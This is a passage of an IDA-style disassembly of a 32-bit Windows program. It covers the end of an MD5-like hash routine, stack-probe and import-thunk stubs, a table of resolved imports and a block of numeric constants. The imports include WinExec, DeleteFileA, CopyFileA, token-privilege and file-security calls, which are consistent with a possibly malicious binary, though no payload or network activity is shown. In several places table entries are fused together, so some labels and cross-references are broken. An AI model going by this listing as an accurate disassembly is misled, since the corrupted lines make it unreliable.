		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44503D
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44503D
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44503D
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44503D
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44503D
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44503D
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_44ED64
		add	[edi], eax
		mov	eax, dword_44ED68
		add	[edi+4], eax
		mov	eax, dword_44ED6C
		add	[edi+8], eax
		mov	eax, dword_44ED70
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_44506D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4458B8	proc near		; CODE XREF: sub_4458D5+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_4458B9:				; CODE XREF: sub_4458B8+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_4458B9
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_4458B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4458D5	proc near		; CODE XREF: sub_43BC02+3Ap

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_445905
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_4458B8
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_445905:				; CODE XREF: sub_4458D5+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_4458D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_445914	proc near		; CODE XREF: .text:0043A1BAp
					; DATA XREF: .data:off_44D000o
		xor	eax, eax
		inc	eax
		retn	0Ch
sub_445914	endp

; ---------------------------------------------------------------------------
		align 4
		push	eax
		fnstcw	word ptr [esp]
		mov	eax, [esp]
		btr	dword ptr [esp], 8
		or	word ptr [esp],	200h
; START	OF FUNCTION CHUNK FOR sub_44593F


loc_44592E:				; CODE XREF: sub_44593F+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx


loc_445932:				; CODE XREF: .text:0044593Dj
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_44593F
; ---------------------------------------------------------------------------
		push	eax
		fnstcw	word ptr [esp]
		pop	eax
		jmp	short loc_445932

; =============== S U B	R O U T	I N E =======================================



sub_44593F	proc near		; CODE XREF: .text:loc_43A1A7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044592E SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_44592E
sub_44593F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445950	proc near		; CODE XREF: sub_43A6D4+8p
					; sub_43BB7B+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_445951:				; CODE XREF: sub_445950+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_445951
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_445950	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445970	proc near		; CODE XREF: sub_43BE21+28Bp
					; sub_43BE21+890p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_445970	endp

; ---------------------------------------------------------------------------
		align 4
		jmp	ds:dword_44F0AC
; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4459A8	proc near		; CODE XREF: sub_43A25C+10p
		jmp	ds:dword_44F0B0
sub_4459A8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4459B4	proc near		; CODE XREF: sub_43A080+13p
		jmp	ds:dword_44F0B4
sub_4459B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4459C0	proc near		; CODE XREF: sub_43A1C3+33p
					; sub_43A1C3+45p ...
		jmp	ds:dword_44F0C0
sub_4459C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4459CC	proc near		; CODE XREF: sub_43A1C3+Bp
					; sub_43A1C3+17p ...
		jmp	ds:dword_44F0C4
sub_4459CC	endp

; ---------------------------------------------------------------------------
		align 8
		jmp	ds:dword_44F0C8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
; ---------------------------------------------------------------------------
		jmp	ds:dword_44F0CC
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4459F0	proc near		; CODE XREF: sub_43A25C+4Ep
					; sub_43A25C+87p
		jmp	ds:dword_44F0D0
sub_4459F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4459FC	proc near		; CODE XREF: .text:0043A186p
		jmp	ds:dword_44F0D4
sub_4459FC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_445A08	proc near		; CODE XREF: sub_43A1C3+71p
					; sub_43A1C3+86p
		jmp	ds:dword_44F0D8
sub_445A08	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_445A14	proc near		; CODE XREF: sub_43A25C+9Ep
		jmp	ds:dword_44F0DC
sub_445A14	endp

; ---------------------------------------------------------------------------
		align 10h
_text		ends

; Section 5. (virtual address 00046000)
; Virtual size			: 00006DB8 (  28088.)
; Section size in file		: 00006DB8 (  28088.)
; Offset to raw	data for section: 00046000
; Flags	C0000080: Bss Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_bss		segment	para public 'BSS' use32
		assume cs:_bss
		;org 446000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_446000	dd 7C809A09h	; resolved to->KERNEL32.lstrlenW					; sub_443DD5+130w
dword_446004	dd 7E41BC7Dh	; resolved to->USER32.GetWindow					; sub_43BB7B+15r ...
dword_446008	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_43EB7A+4AAr ...
dword_44600C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_443DD5+168w
dword_446010	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_440C87+1Er ...
dword_446014	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_43BE21+7A0r ...
dword_446018	dd 0							; sub_4425A6+190r
dword_44601C	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4428E6+186r
dword_446020	dd 76C69496h						; sub_4433F9+1A6r
dword_446024	dd 73D9E65Ch						; sub_43B638+6Ar ...
dword_446028	dd 0							; sub_43A8A3+192r ...
dword_44602C	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_43EB7A+86r ...
dword_446030	dd 7C90311Bh	; resolved to->NTDLL.RtlZeroMemory					; sub_443DD5+280w
dword_446034	dd 73D9ADFAh						; sub_43D16C+14Er ...
dword_446038	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; sub_443DD5+558w
dword_44603C	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathAdword_446040	dd 77124980h						; sub_43CEF8+34r ...
dword_446044	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_444702+3Er
dword_446048	dd 77DF986Bh	; resolved to->ADVAPI32.GetSidSubAuthorityCount		align 10h
dword_446050	dd 0							; sub_43E8B9+9Dr ...
		dd 3E7h	dup(0)
dword_446FF0	dd 7E41DBECh	; resolved to->USER32.MoveWindowdword_446FF4	dd 77DD778Eh	; resolved to->ADVAPI32.InitializeSecurityDescriptor					; sub_4428E6+148r
dword_446FF8	dd 77124C05h						; sub_43BC02+1DDr ...
dword_446FFC	dd 7E42D1D1h	; resolved to->USER32.EnumDesktopWindows					; sub_43AFA1+309w
dword_447000	dd 0							; sub_43E524+CCw
dword_447004	dd 7E4196B8h	; resolved to->USER32.DispatchMessageA					; sub_43AFA1+BAw
dword_447008	dd 73D9BBAAh						; sub_43EB7A+39Ar ...
		align 10h
dword_447010	dd 0							; sub_43E8B9+200r ...
		dd 3E7h	dup(0)
dword_447FB0	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorMode					; sub_443DD5+344w
dword_447FB4	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_43D16C+2D1r ...
dword_447FB8	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSection					; sub_4421FA+36Dw ...
dword_447FBC	dd 7C837A77h	; resolved to->KERNEL32.Beepdword_447FC0	dd 7E42F420h	; resolved to->USER32.GetClassNameA					; sub_43BB7B+32r
		align 10h
dword_447FD0	dd 40h dup(0)						; sub_43F19E+6Do ...
dword_4480D0	dd 77F161D1h	; resolved to->GDI32.GetStockObject					; sub_43AD9A+69w
		align 10h
dword_4480E0	dd 0							; sub_43E8B9+1D1r ...
		dd 3E7h	dup(0)
dword_449080	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_4428E6+46r
dword_449084	dd 77502A37h						; sub_444E43+82w
dword_449088	dd 7C8302EDh	; resolved to->KERNEL32.GetDiskFreeSpaceA					; sub_443DD5+360w
dword_44908C	dd 774FEE36h	dword_449090	dd 7E420A36h	; resolved to->USER32.RegisterClassA					; sub_43AFA1+20Aw
dword_449094	dd 7C86136Dh	; resolved to->KERNEL32.WinExec					; sub_443DD5+14Cw
		align 10h
dword_4490A0	dd 41h dup(0)						; sub_43E36B+13o ...
dword_4491A4	dd 73D9E660h						; sub_43F4CC+83Er ...
dword_4491A8	dd 77DFD4B0h	; resolved to->ADVAPI32.GetSidIdentifierAuthoritydword_4491AC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_43AD9A+63r ...
byte_4491B0	db 0			; DATA XREF: sub_43E8B9+15Cr
					; sub_43E8B9+216r ...
		align 4
		dd 0F9h	dup(0)
dword_449598	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_43AD9A+Dr ...
dword_44959C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_444702+1Dr
dword_4495A0	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_4409DF+31r
dword_4495A4	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_4495A8	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_443DD5+4B0w
dword_4495AC	dd 7E41D60Dh	; resolved to->USER32.SetWindowLongA					; sub_43BE21+EFEr ...
dword_4495B0	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_443DD5+3ECw
dword_4495B4	dd 76C69828h						; sub_4433F9+17Br
dword_4495B8	dd 0							; sub_440C87+19o ...
dword_4495BC	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_43D16C+2F2r ...
dword_4495C0	dd 80144h	dword_4495C4	dd 0FC00h						; sub_4433F9:loc_4435A5r
dword_4495C8	dd 7E41D4EEh	; resolved to->USER32.DefWindowProcA					; sub_4446E4+13r
dword_4495CC	dd 7C80992Fh	; resolved to->KERNEL32.LocalFree					; sub_43E36B+1ACr ...
dword_4495D0	dd 0							; sub_43E524+1E0w ...
dword_4495D4	dd 774FFAC3h						; sub_444E43+66w
		align 10h
dword_4495E0	dd 0							; sub_43E040+D1w ...
		dd 0FEh	dup(0)
dword_4499DC	dd 77DF9839h	; resolved to->ADVAPI32.GetSidSubAuthoritydword_4499E0	dd 73D9C489h	dword_4499E4	dd 0		dword_4499E8	dd 77DFCE26h	; resolved to->ADVAPI32.SetSecurityDescriptorOwner					; sub_4428E6+173r
dword_4499EC	dd 7C80998Dh	; resolved to->KERNEL32.LocalAlloc					; sub_441F97+CAr ...
dword_4499F0	dd 73D9C4C5h	dword_4499F4	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_443CBA+8r ...
dword_4499F8	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessId					; sub_443DD5+4E8w
dword_4499FC	dd 7E41DA60h	; resolved to->USER32.SetFocus					; sub_43BE21+1008r ...
dword_449A00	dd 7CA268D5h	; resolved to->SHELL32.SHGetFolderPathA					; sub_43AB3B+28r ...
		align 10h
word_449A10	dw 0			; DATA XREF: sub_43E8B9:loc_43E9F9r
					; sub_43E8B9:loc_43EA3Cr ...
		align 4
		dd 1F3h	dup(0)
dword_44A1E0	dd 77DD77B3h	; resolved to->ADVAPI32.SetSecurityDescriptorDacl					; sub_4428E6+15Cr
dword_44A1E4	dd 7E41EF69h	; resolved to->USER32.LoadCursorA					; sub_43AFA1+19Aw
dword_44A1E8	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_43D8EA+53Fr
dword_44A1EC	dd 0							; sub_43E524+108w
dword_44A1F0	dd 5 dup(0)						; sub_43E524+F8o ...
dword_44A204	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_44A208	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_43AFA1+28r ...
dword_44A20C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_443DD5+1F4w
dword_44A210	dd 73DA018Fh	dword_44A214	dd 77F3B730h	; resolved to->GDI32.CreateFontA					; sub_43BE21+789r ...
dword_44A218	dd 77164D9Ah						; sub_43CEF8+5Er ...
dword_44A21C	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_43D16C+265r ...
dword_44A220	dd 80h dup(0)						; sub_440FDF+25o ...
dword_44A420	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTime					; sub_43AB3B+32r ...
		align 10h
dword_44A430	dd 41h dup(0)						; sub_43E524+B0o ...
dword_44A534	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_443DD5+37Cw
		align 10h
dword_44A540	dd 0							; sub_43BE21+7Br ...
dword_44A544	dd 0							; sub_43BE21+4B5r ...
dword_44A548	dd 0							; sub_43BE21+61Br ...
dword_44A54C	dd 0							; sub_43BE21+8FEr ...
dword_44A550	dd 0							; sub_43BE21+BA9r ...
dword_44A554	dd 0							; sub_43BE21+C0Fr ...
dword_44A558	dd 0							; sub_43BE21+D12r ...
dword_44A55C	dd 0							; sub_43BE21+EA7r ...
dword_44A560	dd 0							; sub_43D8EA+5B9r
dword_44A564	dd 0							; sub_43D8EA+5F0r
dword_44A568	dd 0							; sub_43D8EA+624r
dword_44A56C	dd 0							; sub_43D8EA+658r
		dd 4A4h	dup(0)
dword_44B800	dd 7E42E002h	; resolved to->USER32.GetMessageA					; sub_43AFA1+10Ew
dword_44B804	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_443DD5+210w
dword_44B808	dd 73D9D340h						; sub_43F4CC+1Dr ...
dword_44B80C	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_44B810	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_4428E6+1C6r
dword_44B814	dd 0							; sub_4425A6+17Er
dword_44B818	dd 73D9D5E0h						; sub_43F4CC+CB1r ...
dword_44B81C	dd 7C80EA1Bh	; resolved to->KERNEL32.OpenMutexA					; sub_443DD5+3B4w
dword_44B820	dd 7E41FF33h	; resolved to->USER32.CreateWindowExA					; sub_43AFA1+66w ...
dword_44B824	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_4421FA+385w ...
dword_44B828	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsA					; sub_443DD5+520w
dword_44B82C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_43E040+8Fr ...
dword_44B830	dd 0							; sub_4435CB+481r ...
		dd 3E7h	dup(0)
dword_44C7D0	dd 73D9DBA2h	dword_44C7D4	dd 7E418C2Eh	; resolved to->USER32.SetTimerdword_44C7D8	dd 0		dword_44C7DC	dd 7E41F642h	; resolved to->USER32.CallWindowProcA					; sub_43D8EA+5C0r ...
off_44C7E0	dd offset byte_41A00D	; DATA XREF: sub_43A39F+25Cw
					; sub_4433F9+1B2r
dword_44C7E4	dd 7C821BA5h	; resolved to->KERNEL32.GetVolumeInformationA					; sub_43F294+DFr ...
dword_44C7E8	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_444702+49r
dword_44C7EC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexA					; sub_43A39F+124r ...
dword_44C7F0	dd 77DD7B76h	; resolved to->ADVAPI32.GetTokenInformation					; sub_4428E6+95r ...
dword_44C7F4	dd 7E4208CEh	; resolved to->USER32.LoadIconA					; sub_43AFA1+1B6w
dword_44C7F8	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_44285A+46r ...
dword_44C7FC	dd 7E41945Dh	; resolved to->USER32.GetWindowLongA					; sub_43BE21+ED0r ...
dword_44C800	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_443DD5+53Cw
dword_44C804	dd 0							; sub_441138+D3Fr
dword_44C808	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_443DD5+57Aw
dword_44C80C	dd 73D92B86h						; sub_43AD58+17r ...
dword_44C810	dd 73D9E5C5h						; sub_43A39F+110r ...
dword_44C814	dd 7E43210Ah	; resolved to->USER32.FindWindowExA					; sub_43BE21+443r ...
dword_44C818	dd 0							; sub_43A39F+29Ew ...
dword_44C81C	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_443DD5+184w
dword_44C820	dd 7E45058Ah	; resolved to->USER32.MessageBoxA					; sub_43D8EA+1E1r ...
dword_44C824	dd 775784ADh						; sub_43A324+32r ...
dword_44C828	dd 73D9D320h						; sub_442ADD+D6w
dword_44C82C	dd 7C821435h	; resolved to->KERNEL32.GetExitCodeThread					; sub_443DD5+328w
dword_44C830	dd 7E41B6D4h	; resolved to->USER32.GetWindowRect					; sub_43BE21+4CFr
dword_44C834	dd 7E42F52Bh	; resolved to->USER32.SetWindowTextA					; sub_43D8EA+4DAr
dword_44C838	dd 7E41D8A4h	; resolved to->USER32.ShowWindow					; sub_43BE21+4BCr ...
dword_44C83C	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_4421FA+355w ...
dword_44C840	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_43A39F+139r ...
dword_44C844	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_43E040+A1r ...
dword_44C848	dd 77E0D2FDh	; resolved to->ADVAPI32.SetFileSecurityA					; sub_43B347+2Dr ...
		align 10h
dword_44C850	dd 40h dup(0)						; sub_43E524+291o ...
dword_44C950	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_4435CB:loc_443A1Br ...
dword_44C954	dd 0							; sub_43E524+D7w
dword_44C958	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTime					; sub_43D4AD+106r ...
dword_44C95C	dd 7E418BF6h	; resolved to->USER32.TranslateMessage					; sub_43AFA1+2CEw
dword_44C960	dd 7C810AD9h	; resolved to->KERNEL32.CompareFileTime					; sub_43D4AD+BCr ...
dword_44C964	dd 0							; sub_43B31E+15o ...
dword_44C968	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_43EB7A+47r ...
		align 10h
dword_44C970	dd 0							; sub_43E040+59r ...
		dd 0FEh	dup(0)
dword_44CD6C	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_43EB7A+461r ...
dword_44CD70	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_43E040+173r ...
		align 8
dword_44CD78	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_43F294+23r ...
dword_44CD7C	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_443DD5+4CCw
dword_44CD80	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_43E1E8+AAr ...
dword_44CD84	dd 77124880h						; sub_43BC02+20Er ...
dword_44CD88	dd 7E43212Bh	; resolved to->USER32.GetWindowTextA					; sub_43AFA1+17Ew ...
dword_44CD8C	dd 0							; sub_4421CD+19o ...
dword_44CD90	dd 73D9DBAFh						; sub_43F4CC+948r ...
dword_44CD94	dd 77124920h						; sub_4435CB+691r
dword_44CD98	dd 7750CB9Ch			align 10h
dword_44CDA0	dd 7C97C660h, 0FFFFFFFFh, 4 dup(0)					; sub_43AC82+58o ...
_bss		ends

; Section 6. (virtual address 0004D000)
; Virtual size			: 00001E00 (   7680.)
; Section size in file		: 00001E00 (   7680.)
; Offset to raw	data for section: 0004D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 44D000h
off_44D000	dd offset sub_445914	; DATA XREF: .text:0043A1B5r
dword_44D004	dd 0							; sub_43A1C3+64r
dword_44D008	dd 0		dword_44D00C	dd 0							; sub_43A1C3:loc_43A23Cr
dword_44D010	dd 0				align 8
		dd 7325h
aWr:					; DATA XREF: sub_43A1C3+3Do
					; sub_43A1C3+4Fo ...
		unicode	0, <wr>,0
		align 4
		dd 4 dup(0)
dword_44D034	dd 0		dword_44D038	dd 0							; .text:0043A117r ...
dword_44D03C	dd 0		dword_44D040	dd 14h dup(0)						; .text:0043A11Fo
word_44D090	dw 5			; DATA XREF: sub_43D4AD+182r
					; sub_43F4CC+EACr ...
		align 4
dword_44D094	dd 2							; sub_43DF69+3Fr ...
word_44D098	dw 5			; DATA XREF: sub_43A764+69r
					; sub_43AD58+Ar ...
		align 4
dword_44D09C	dd 1							; sub_43AB3B+18r ...
word_44D0A0	dw 1			; DATA XREF: sub_43AE0A+87r
					; sub_43B638+20r ...
		align 4
dword_44D0A4	dd 9							; sub_43A39F+27Fr ...
dword_44D0A8	dd 4							; sub_43DF69+27r ...
dword_44D0AC	dd 5							; sub_43BE21+816r ...
dword_44D0B0	dd 9							; sub_43BE21+7D3r ...
word_44D0B4	dw 4			; DATA XREF: sub_43A6D4+2Er
					; sub_43B947:loc_43B973r ...
		align 4
word_44D0B8	dw 9			; DATA XREF: sub_43A39F+22Dr
					; sub_43A764+C3r ...
		align 4
dword_44D0BC	dd 2							; sub_43E524+9Ar ...
dword_44D0C0	dd 4							; sub_43F4CC+A1Er ...
word_44D0C4	dw 9			; DATA XREF: sub_43A8A3+BBr
					; sub_43AC82+B6r ...
		align 4
dword_44D0C8	dd 2							; sub_43BB6Dr ...
dword_44D0CC	dd 6							; sub_43A39F+309r ...
dword_44D0D0	dd 1							; sub_43BE21+1AAr ...
dword_44D0D4	dd 0							; sub_43AB3B+8Dr ...
dword_44D0D8	dd 5							; sub_43B73E+148r ...
dword_44D0DC	dd 0							; sub_43BC02+10r ...
dword_44D0E0	dd 2							; sub_43BE21+770r ...
word_44D0E4	dw 2			; DATA XREF: sub_43A39F+313r
					; sub_43B947+A4r ...
		align 4
word_44D0E8	dw 4			; DATA XREF: sub_43AB3B+4Er
					; sub_43BE21+CF1r ...
		align 4
dword_44D0EC	dd 6							; sub_43BE21+104r ...
dword_44D0F0	dd 0							; sub_43BE21+1D4r ...
word_44D0F4	dw 7			; DATA XREF: sub_43AD58+1Er
					; sub_43BE21+201r ...
		align 4
word_44D0F8	dw 1			; DATA XREF: sub_43BB7B+50r
					; sub_43BE21+2C3r ...
		align 4
dword_44D0FC	dd 7							; sub_43A8A3+141r ...
dword_44D100	dd 7							; sub_43AC82+A2r ...
dword_44D104	dd 4							; sub_43A764+D9r ...
dword_44D108	dd 9							; sub_43D8EA+46Fr ...
dword_44D10C	dd 0							; sub_43BE21+941r ...
word_44D110	dw 0			; DATA XREF: sub_43AB3B+F8r
					; sub_43BE21+9C2r ...
		align 4
word_44D114	dw 9			; DATA XREF: sub_43A39F+20Br
					; sub_43BE21+17Er ...
		align 4
dword_44D118	dd 6							; sub_43BC02:loc_43BCF7r ...
word_44D11C	dw 4			; DATA XREF: sub_43CEF8+CBr
					; sub_43D8EA+3ACr ...
		align 10h
word_44D120	dw 9			; DATA XREF: sub_43AB3B+EAr
					; sub_43AE0A+1Ar ...
		align 4
dword_44D124	dd 2							; sub_43B73E+11Ar ...
word_44D128	dw 5			; DATA XREF: sub_43BE21:loc_43C0CFr
					; sub_43BE21+A48r ...
		align 4
word_44D12C	dw 8			; DATA XREF: sub_43B947+6Ar
					; sub_43D4AD+C8r ...
		align 10h
word_44D130	dw 2			; DATA XREF: sub_43BE21+752r
					; sub_43BE21+C2Ar ...
		align 4
dword_44D134	dd 4							; sub_43F09C+E9r ...
dword_44D138	dd 5							; sub_43BE21:loc_43BEAAr ...
dword_44D13C	dd 8							; sub_43E040+FFr ...
dword_44D140	dd 9							; sub_43E040+147r ...
word_44D144	dw 9			; DATA XREF: sub_43B947:loc_43B9FFr
					; sub_43BE21+905r ...
		align 4
word_44D148	dw 0			; DATA XREF: sub_43A764+4Ar
					; sub_43AB3B+69r ...
		align 4
dword_44D14C	dd 8							; sub_43A39F:loc_43A6A3r ...
dword_44D150	dd 2							; sub_43CEF8+19Dr ...
dword_44D154	dd 3							; sub_43D16C+110r ...
dword_44D158	dd 8							; sub_43A39F+1FBr ...
dword_44D15C	dd 0							; sub_43AB3B+E1r ...
word_44D160	dw 6			; DATA XREF: sub_43A39F+7Fr
					; sub_43AC82+92r ...
		align 4
word_44D164	dw 4			; DATA XREF: sub_43D8EA+1AEr
					; sub_43F4CC+1304r ...
		align 4
dword_44D168	dd 9							; sub_43B947+15Dr ...
dword_44D16C	dd 2							; sub_43CEF8+1C2r ...
dword_44D170	dd 5							; sub_43BE21+1E6r ...
dword_44D174	dd 2							; sub_43E8B9+111r ...
dword_44D178	dd 5							; sub_43A6D4+49r ...
dword_44D17C	dd 9							; sub_43B73E+95r ...
word_44D180	dw 5			; DATA XREF: sub_43A39F+1AEr
					; sub_43A8A3+179r ...
		align 4
dword_44D184	dd 1							; sub_43AB3B+7Er ...
dword_44D188	dd 9							; sub_43B947+FDr ...
dword_44D18C	dd 1							; sub_43BC02+1ABr ...
word_44D190	dw 5			; DATA XREF: sub_43A39F+2AAr
					; sub_43A764+B4r ...
		align 4
word_44D194	dw 9			; DATA XREF: sub_43A8A3+10Ar
					; sub_43A8A3+1A2r ...
		align 4
dword_44D198	dd 9							; sub_43BC02+A2r ...
dword_44D19C	dd 9							; sub_43BE21+1C1r ...
dword_44D1A0	dd 0							; sub_43BE21+138r ...
dword_44D1A4	dd 1							; sub_43BB7B+38r ...
dword_44D1A8	dd 8							; sub_43A764+18r ...
dword_44D1AC	dd 5							; sub_43BE21+230r ...
dword_44D1B0	dd 7							; sub_43B947+125r ...
dword_44D1B4	dd 4							; sub_43B947+202r ...
word_44D1B8	dw 5			; DATA XREF: sub_43BE21+117r
					; sub_43BE21+E65r ...
		align 4
dword_44D1BC	dd 3							; sub_43BE21+1EEr ...
word_44D1C0	dw 9			; DATA XREF: sub_43A764+EBr
					; sub_43BE21+161r ...
		align 4
